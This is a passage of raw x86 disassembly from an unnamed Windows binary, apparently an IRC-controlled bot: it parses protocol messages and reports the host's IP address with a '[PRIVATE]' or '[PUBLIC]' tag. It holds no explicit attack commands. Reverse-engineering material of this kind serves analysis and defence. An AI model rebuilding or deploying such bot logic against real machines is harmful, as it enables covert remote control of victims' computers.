sub_4016B8 mov ecx, offset word_44AC5E call sub_401CE4 cmp eax, ebx jz short loc_410F72 sub esp, 18h lea ecx, [esp+38h+var_8] mov eax, esp mov [esp+38h+var_C], esp push offset asc_444600 ; " " push 3 push eax call sub_4016B8 sub esp, 18h mov byte ptr [esp+50h+arg_246C], 23h mov ecx, esp mov [esp+50h+arg_C], esp push offset asc_444600 ; " " push 3 push ecx lea ecx, [esp+5Ch+var_8] call sub_4016B8 mov ecx, offset word_44AC5E mov byte ptr [esp+50h+arg_246C], bl call sub_40212B loc_410F72: ; CODE XREF: sub_410030+EF3j push offset asc_444600 ; " " lea edx, [esp+24h+arg_1CC] push 3 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset byte_4E8E45 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 24h call sub_401B86 test eax, eax lea ecx, [esp+20h+arg_1CC] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_4113F7 push offset asc_444C64 ; ":" lea eax, [esp+24h+arg_22C] push ebx push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset asc_444C58 ; "!" lea ecx, [esp+24h+arg_1FC] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 25h call sub_4016B8 mov ecx, eax mov byte ptr [esp+20h+arg_246C], 26h call sub_4017EE push eax lea ecx, [esp+24h+arg_25C] call sub_401870 lea ecx, [esp+20h+arg_1FC] mov byte ptr [esp+20h+arg_246C], 29h call sub_401226 lea ecx, [esp+20h+arg_22C] mov byte ptr [esp+20h+arg_246C], 28h call sub_401226 mov ecx, offset byte_4493ED mov [ebp+16h], bl call sub_4017EE push eax mov ecx, offset dword_4493A4 call sub_4017EE mov edx, dword_4490C4 push eax push edx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E24 add esp, 14h lea ecx, [esp+20h+arg_25C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_411080: ; CODE XREF: sub_410030+EC7j push offset asc_444600 ; " " lea eax, [esp+24h+arg_28C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490E0 mov byte ptr [esp+20h+arg_246C], 2Ah push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_28C] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_411238 push offset asc_444C64 ; ":" lea edx, [esp+24h+arg_2EC] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset asc_444C58 ; "!" lea ecx, [esp+24h+arg_2BC] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 2Bh call sub_4016B8 mov ecx, eax mov byte ptr [esp+20h+arg_246C], 2Ch call sub_4017EE push eax lea ecx, [esp+24h+arg_34] call sub_401870 lea ecx, [esp+20h+arg_2BC] mov byte ptr [esp+20h+arg_246C], 2Fh call sub_401226 lea ecx, [esp+20h+arg_2EC] mov byte ptr [esp+20h+arg_246C], 2Eh call sub_401226 push offset asc_444C54 ; " :" lea ecx, [esp+24h+var_8] call sub_4014DD mov esi, dword_511B04 push eax call esi ; strstr add esp, 8 test eax, eax jz loc_411223 push offset asc_444C54 ; " :" lea ecx, [esp+24h+var_8] call sub_4014DD push eax call esi ; strstr add esp, 8 lea ecx, [esp+20h+arg_64] push eax call sub_401870 push offset byte_448F30 lea ecx, [esp+24h+arg_34] mov byte ptr [esp+24h+arg_246C], 30h call sub_4012EE test eax, eax jz short loc_41120F push offset byte_448F30 lea ecx, [esp+24h+arg_64] call sub_4012EE test eax, eax jz short loc_41120F sub esp, 18h lea edx, [esp+38h+arg_34] mov ecx, esp mov [esp+38h+arg_C], esp push edx call sub_4014D3 mov ecx, offset word_44AC5E call sub_401CE4 cmp eax, ebx jz short loc_4111EB lea ecx, [esp+20h+arg_64] push ecx lea ecx, [eax+19h] call sub_401FDC loc_4111EB: ; CODE XREF: sub_410030+11A9j push offset byte_4E8E45 lea ecx, [esp+24h+arg_34] call sub_401B86 test eax, eax jnz short loc_41120F lea edx, [esp+20h+arg_64] mov ecx, offset byte_4E8E45 push edx call sub_401FDC loc_41120F: ; CODE XREF: sub_410030+1173j ; sub_410030+1188j ... lea ecx, [esp+20h+arg_64] mov byte ptr [esp+20h+arg_246C], 2Eh call sub_401226 loc_411223: ; CODE XREF: sub_410030+1134j lea ecx, [esp+20h+arg_34] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_411238: ; CODE XREF: sub_410030+109Cj push offset asc_444600 ; " " lea eax, [esp+24h+arg_34C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490F0 mov byte ptr [esp+20h+arg_246C], 31h push ecx mov ecx, eax call sub_4012EE test eax, eax jz short loc_4112BF push offset asc_444600 ; " " lea edx, [esp+24h+arg_31C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_449100 mov byte ptr [esp+20h+arg_246C], 32h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_31C] mov byte ptr [esp+20h+arg_246C], 31h setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], bl cmp al, bl jz short loc_4112C4 loc_4112BF: ; CODE XREF: sub_410030+1238j mov [esp+20h+var_D], 1 loc_4112C4: ; CODE XREF: sub_410030+128Dj lea ecx, [esp+20h+arg_34C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz loc_4113F7 push offset asc_444C64 ; ":" lea edx, [esp+24h+arg_37C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 sub esp, 18h mov byte ptr [esp+38h+arg_246C], 33h mov ecx, esp mov [esp+38h+arg_C], esp push offset asc_444C58 ; "!" push ebx push ecx mov ecx, eax call sub_4016B8 mov ecx, offset word_44AC5E call sub_401CE4 lea ecx, [esp+20h+arg_37C] mov esi, eax mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp esi, ebx jz loc_4113F7 push offset asc_444C64 ; ":" lea edx, [esp+24h+arg_3DC] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 sub esp, 18h mov byte ptr [esp+38h+arg_246C], 34h mov ecx, esp mov [esp+38h+arg_C], esp push offset asc_444C58 ; "!" push ebx push ecx mov ecx, eax call sub_4016B8 push offset asc_444C64 ; ":" lea edx, [esp+3Ch+arg_3AC] push 1 push edx lea ecx, [esp+44h+var_8] mov byte ptr [esp+44h+arg_246C], 35h call sub_4016B8 sub esp, 18h mov byte ptr [esp+50h+arg_246C], 36h mov ecx, esp mov [esp+50h+var_C], esp push offset asc_444C58 ; "!" push ebx push ecx mov ecx, eax call sub_4016B8 mov ecx, offset word_44AC5E mov byte ptr [esp+50h+arg_246C], 37h call sub_40212B lea ecx, [esp+20h+arg_3AC] mov byte ptr [esp+20h+arg_246C], 34h call sub_401226 lea ecx, [esp+20h+arg_3DC] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp short loc_4113F7 ; --------------------------------------------------------------------------- loc_4113F0: ; CODE XREF: sub_410030+391j mov ecx, ebp call sub_401D20 loc_4113F7: ; CODE XREF: sub_410030+1D3j ; sub_410030+253j ... cmp [ebp+17h], bl jnz loc_410072 loc_411400: ; CODE XREF: sub_410030+3Cj ; sub_410030+4Fj lea ecx, [esp+20h+var_8] mov [esp+20h+arg_246C], 0FFFFFFFFh call sub_401226 mov ecx, [esp+20h+arg_2464] pop edi pop esi pop ebp xor eax, eax mov large fs:0, ecx pop ebx add esp, 2484h retn sub_410030 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 500h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411930 proc near ; CODE XREF: sub_4010BEj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411930 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E88 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_402072 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F038 mov dword ptr [esi+11h], 0 mov byte ptr [esi+0ABh], 0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_411930 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4119B0: ; CODE XREF: ___:loc_40115Ej ; ___:004016F4j push esi mov esi, ecx call sub_40101E test byte ptr [esp+8], 1 jz short loc_4119C8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_4119C8: ; CODE XREF: ___:004119BDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4119E0 proc near ; CODE XREF: sub_40101Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4119E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43F038 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401979 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_40204F mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4119E0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411A60 proc near ; CODE XREF: sub_402072j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411A60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_40142E lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_40142E lea ecx, [esi+54h] mov byte ptr [esp+14h+var_4], 3 call sub_40142E lea ecx, [esi+69h] mov byte ptr [esp+14h+var_4], 4 call sub_40142E lea ecx, [esi+7Eh] mov byte ptr [esp+14h+var_4], 5 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_411A60 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411B20 proc near ; CODE XREF: sub_401979j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411B20 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+7Eh] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+69h] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+54h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_411B20 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411BE0 proc near ; CODE XREF: sub_4019E2j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401979 test [esp+4+arg_0], 1 jz short loc_411BF8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_411BF8: ; CODE XREF: sub_411BE0+Dj mov eax, esi pop esi retn 4 sub_411BE0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_411C10 proc near ; CODE XREF: sub_401A19j var_3C = byte ptr -3Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_411C10 push eax mov large fs:0, esp sub esp, 30h push ebx push esi mov esi, ecx push edi test esi, esi jz short loc_411C36 lea edi, [esi+11h] jmp short loc_411C38 ; --------------------------------------------------------------------------- loc_411C36: ; CODE XREF: sub_411C10+1Fj xor edi, edi loc_411C38: ; CODE XREF: sub_411C10+24j push 0 push 17h push 1 push 12h push 4Fh lea eax, [esp+5Ch+var_3C] push 9 push eax call sub_4019C4 add esp, 1Ch push edi mov ecx, eax mov [esp+4Ch+var_4], 0 call sub_4017EE lea ecx, [esi+250h] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_411C10 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411C8C lea ebx, [esi+11h] jmp short loc_411C8E ; --------------------------------------------------------------------------- loc_411C8C: ; CODE XREF: ___:00411C85j xor ebx, ebx loc_411C8E: ; CODE XREF: ___:00411C8Aj push 0 push 14h push 3 push 5 push 0Eh push 0Eh push 0Fh push 3 push 5 push 12h push 4Fh lea edx, [esp+38h] push 9 push edx call sub_4019C4 add esp, 34h push ebx mov ecx, eax mov dword ptr [esp+48h], 1 call sub_4017EE push eax lea eax, [esi+27Eh] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411CEB lea ebx, [esi+11h] jmp short loc_411CED ; --------------------------------------------------------------------------- loc_411CEB: ; CODE XREF: ___:00411CE4j xor ebx, ebx loc_411CED: ; CODE XREF: ___:00411CE9j push 0 push 14h push 12h push 1 push 10h push 4Fh lea ecx, [esp+24h] push 9 push ecx call sub_4019C4 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 2 call sub_4017EE lea edx, [esi+1C6h] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411D40 lea ebx, [esi+11h] jmp short loc_411D42 ; --------------------------------------------------------------------------- loc_411D40: ; CODE XREF: ___:00411D39j xor ebx, ebx loc_411D42: ; CODE XREF: ___:00411D3Ej push 0 push 5 push 4 push 0Fh push 0Dh push 4Fh lea eax, [esp+24h] push 9 push eax call sub_4019C4 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 3 call sub_4017EE lea ecx, [esi+16Ah] push eax push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411D95 lea ebx, [esi+11h] jmp short loc_411D97 ; --------------------------------------------------------------------------- loc_411D95: ; CODE XREF: ___:00411D8Ej xor ebx, ebx loc_411D97: ; CODE XREF: ___:00411D93j push 0 push 7 push 13h push 0Dh push 4Fh lea edx, [esp+20h] push 9 push edx call sub_4019C4 add esp, 1Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 4 call sub_4017EE push eax lea eax, [esi+1F4h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411DE8 lea ebx, [esi+11h] jmp short loc_411DEA ; --------------------------------------------------------------------------- loc_411DE8: ; CODE XREF: ___:00411DE1j xor ebx, ebx loc_411DEA: ; CODE XREF: ___:00411DE6j push 0 push 5 push 3 push 9 push 14h push 0Fh push 0Eh push 4Fh lea ecx, [esp+2Ch] push 9 push ecx call sub_4019C4 add esp, 28h push ebx mov ecx, eax mov dword ptr [esp+48h], 5 call sub_4017EE lea edx, [esi+0B2h] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411E41 lea ebx, [esi+11h] jmp short loc_411E43 ; --------------------------------------------------------------------------- loc_411E41: ; CODE XREF: ___:00411E3Aj xor ebx, ebx loc_411E43: ; CODE XREF: ___:00411E3Fj push 0 push 14h push 3 push 5 push 0Eh push 0Eh push 0Fh push 3 push 13h push 9 push 4 push 4Fh lea eax, [esp+3Ch] push 9 push eax call sub_4019C4 add esp, 38h push ebx mov ecx, eax mov dword ptr [esp+48h], 6 call sub_4017EE lea ecx, [esi+56h] push eax push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411E9F lea ebx, [esi+11h] jmp short loc_411EA1 ; --------------------------------------------------------------------------- loc_411E9F: ; CODE XREF: ___:00411E98j xor ebx, ebx loc_411EA1: ; CODE XREF: ___:00411E9Dj push 0 push 14h push 13h push 0Fh push 8 push 14h push 5 push 7 push 4Fh lea edx, [esp+30h] push 9 push edx call sub_4019C4 add esp, 2Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 7 call sub_4017EE push eax lea eax, [esi+10Eh] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411EFA lea ebx, [esi+11h] jmp short loc_411EFC ; --------------------------------------------------------------------------- loc_411EFA: ; CODE XREF: ___:00411EF3j xor ebx, ebx loc_411EFC: ; CODE XREF: ___:00411EF8j push 0 push 0Fh push 6 push 0Eh push 9 push 14h push 5 push 0Eh push 4Fh lea ecx, [esp+30h] push 9 push ecx call sub_4019C4 add esp, 2Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 8 call sub_4017EE lea edx, [esi+198h] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411F55 lea ebx, [esi+11h] jmp short loc_411F57 ; --------------------------------------------------------------------------- loc_411F55: ; CODE XREF: ___:00411F4Ej xor ebx, ebx loc_411F57: ; CODE XREF: ___:00411F53j push 0 push 0Eh push 9 push 0Fh push 0Ah push 4Fh lea eax, [esp+3Ch] push 9 push eax call sub_4019C4 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 9 call sub_4017EE add esi, 13Ch push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+44h], edi call sub_401226 mov ecx, [esp+3Ch] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0F0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4120B0 proc near ; CODE XREF: sub_401ACDj var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_4120B0 push eax mov large fs:0, esp sub esp, 78h push ebx push ebp push esi mov esi, [esp+90h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+45h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jz loc_4125D9 lea ecx, [edi+26Dh] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jz loc_4125D9 lea ecx, [edi+0A1h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_4121B2 push offset asc_444600 ; " " lea eax, [esp+98h+var_6C] push 2 push eax mov ecx, esi call sub_4016B8 mov ebp, eax push offset asc_444600 ; " " lea ecx, [esp+98h+var_84] push 1 xor ebx, ebx push ecx mov ecx, esi mov [esp+0A0h+var_4], ebx call sub_4016B8 mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 1 call sub_4017EE push eax mov ecx, esi call sub_4017EE mov edx, dword_4490C0 push eax push edx add edi, 0FFFFFFEFh push offset aSSS_1 ; "%s %s :%s\r\n" push edi call sub_401E24 add esp, 14h lea ecx, [esp+94h+var_84] mov byte ptr [esp+94h+var_4], bl call sub_401226 lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_4121B2: ; CODE XREF: sub_4120B0+70j lea ecx, [edi+187h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_412229 add edi, 0FFFFFFEFh lea eax, [esp+94h+var_6C] push eax mov ecx, edi call sub_401D4D mov ecx, eax mov [esp+94h+var_4], 2 call sub_4017EE push eax push offset aS ; "%s" lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push edi call sub_401857 add esp, 18h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_412229: ; CODE XREF: sub_4120B0+117j lea ecx, [edi+0FDh] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_4122E4 push offset asc_444600 ; " " lea eax, [esp+98h+var_6C] push 1 push eax mov ecx, esi call sub_4016B8 push eax lea ecx, [edi+17h] mov [esp+98h+var_4], 3 call sub_4018B1 or ebp, 0FFFFFFFFh lea ecx, [esp+94h+var_6C] mov ebx, eax mov [esp+94h+var_4], ebp call sub_401226 test ebx, ebx jz loc_412602 lea ecx, [esp+94h+var_6C] add edi, 0FFFFFFEFh push ecx mov ecx, edi call sub_401D4D mov ecx, eax mov [esp+94h+var_4], 4 call sub_4017EE push eax push offset aS ; "%s" lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push edi call sub_401857 add esp, 18h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], ebp call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_4122E4: ; CODE XREF: sub_4120B0+18Ej lea ecx, [edi+12Bh] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41238D push offset asc_444600 ; " " lea ecx, [esp+98h+var_84] push 2 push ecx mov ecx, esi call sub_4016B8 mov ebp, eax push offset asc_444600 ; " " lea edx, [esp+98h+var_6C] mov ebx, 5 push 1 push edx mov ecx, esi mov [esp+0A0h+var_4], ebx call sub_4016B8 mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 6 call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax mov eax, dword_4490C4 push eax add edi, 0FFFFFFEFh push offset aSSS_0 ; "%s %s %s\r\n" push edi call sub_401E24 add esp, 14h lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], bl call sub_401226 lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_41238D: ; CODE XREF: sub_4120B0+249j lea ecx, [edi+1B5h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_4123FB push offset asc_444600 ; " " lea ecx, [esp+98h+var_6C] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+94h+var_4], 7 call sub_4017EE mov edx, dword_4490F0 push eax push edx add edi, 0FFFFFFEFh push offset aSS_0 ; "%s %s\r\n" push edi call sub_401E24 add esp, 10h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_4123FB: ; CODE XREF: sub_4120B0+2F2j lea ecx, [edi+23Fh] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41245D lea eax, [esp+94h+var_6C] push 9 push eax mov ecx, esi call sub_401E47 mov ecx, eax mov [esp+94h+var_4], 8 call sub_4017EE push eax add edi, 0FFFFFFEFh push offset aS_3 ; "%s\r\n" push edi call sub_401E24 add esp, 0Ch lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_41245D: ; CODE XREF: sub_4120B0+360j lea ecx, [edi+1E3h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_4124FD push offset asc_444600 ; " " lea ecx, [esp+98h+var_84] push 1 push ecx mov ecx, esi call sub_4016B8 mov ebp, eax push 1 push offset asc_444600 ; " " lea edx, [esp+9Ch+var_6C] push 2 push edx mov ecx, esi mov [esp+0A4h+var_4], 9 call sub_4011EA mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 0Ah call sub_4014DD push eax mov ecx, esi call sub_4014DD xor ebx, ebx push eax push ebx push ebx lea ecx, [edi-11h] call sub_401118 lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 9 call sub_401226 lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_4124FD: ; CODE XREF: sub_4120B0+3C2j lea ecx, [edi+159h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_412602 push offset asc_444600 ; " " lea eax, [esp+98h+var_24] push 3 push eax mov ecx, esi call sub_4016B8 mov ebp, eax push offset asc_444600 ; " " lea ecx, [esp+98h+var_3C] push 2 push ecx mov ecx, esi mov [esp+0A0h+var_4], 0Bh call sub_4016B8 mov ebx, eax push offset asc_444600 ; " " lea edx, [esp+98h+var_54] push 1 push edx mov ecx, esi mov byte ptr [esp+0A0h+var_4], 0Ch call sub_4016B8 mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 0Dh call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax mov eax, dword_4490F4 push eax add edi, 0FFFFFFEFh push offset aSSSS ; "%s %s %s %s\r\n" push edi call sub_401E24 add esp, 18h lea ecx, [esp+94h+var_54] mov byte ptr [esp+94h+var_4], 0Ch call sub_401226 lea ecx, [esp+94h+var_3C] mov byte ptr [esp+94h+var_4], 0Bh call sub_401226 lea ecx, [esp+94h+var_24] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp short loc_412602 ; --------------------------------------------------------------------------- loc_4125D9: ; CODE XREF: sub_4120B0+3Aj ; sub_4120B0+55j xor ebx, ebx mov [edi+0Fh], ebx mov [edi+0Bh], ebx mov [edi+5], bl mov [edi+4], bl mov ecx, [edi+7] push ecx nop call near ptr 71AB9639h mov ecx, offset word_44AC5E mov dword ptr [edi+7], 0FFFFFFFFh call sub_401541 loc_412602: ; CODE XREF: sub_4120B0+FDj ; sub_4120B0+174j ... mov ecx, [esp+94h+var_C] pop edi pop esi pop ebp xor al, al pop ebx mov large fs:0, ecx add esp, 84h retn 4 sub_4120B0 endp ; --------------------------------------------------------------------------- db 90h db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412780 proc near ; CODE XREF: sub_401D4Dj var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_412780 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 40h push esi mov esi, ecx lea ecx, [esp+50h+var_24] mov [esp+50h+var_48], 0 call sub_40142E xor eax, eax lea ecx, [esp+50h+var_4C] mov [esp+50h+var_44], eax lea edx, [esp+50h+var_44] mov [esp+50h+var_40], eax push ecx mov [esp+54h+var_3C], eax push edx mov [esp+58h+var_38], eax mov eax, [esi+18h] push eax mov [esp+5Ch+var_4], 1 mov [esp+5Ch+var_4C], 10h nop call near ptr 71AB951Eh mov ecx, [esp+50h+var_40+3] mov edx, [esp+50h+var_40+2] mov eax, [esp+50h+var_40+1] and ecx, 0FFh push ecx mov ecx, [esp+54h+var_40] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx lea edx, [esp+60h+var_34] push offset aD_D_D_D ; "%d.%d.%d.%d" push edx nop call sub_5F76F7 add esp, 18h lea ecx, [esp+50h+var_24] push offset byte_448F30 call sub_4015E1 push offset aLan ; "lan: " lea ecx, [esp+54h+var_24] call sub_401AAF lea eax, [esp+50h+var_34] lea ecx, [esp+50h+var_24] push eax call sub_401AAF push offset a_ ; ". " lea ecx, [esp+54h+var_24] call sub_401AAF add esi, 28h lea ecx, [esp+50h+var_24] push esi call sub_4016C7 push offset a_ ; ". " lea ecx, [esp+54h+var_24] call sub_401AAF lea ecx, [esp+50h+var_34] push ecx call sub_401483 add esp, 4 test al, al jz short loc_41288B push offset aPrivate ; "[PRIVATE]" jmp short loc_412890 ; --------------------------------------------------------------------------- loc_41288B: ; CODE XREF: sub_412780+102j push offset aPublic ; "[PUBLIC]" loc_412890: ; CODE XREF: sub_412780+109j lea ecx, [esp+54h+var_24] call sub_401AAF mov esi, [esp+50h+arg_0] lea edx, [esp+50h+var_24] push edx mov ecx, esi call sub_4014D3 mov [esp+50h+var_48], 1 lea ecx, [esp+50h+var_24] mov byte ptr [esp+50h+var_4], 0 call sub_401226 mov 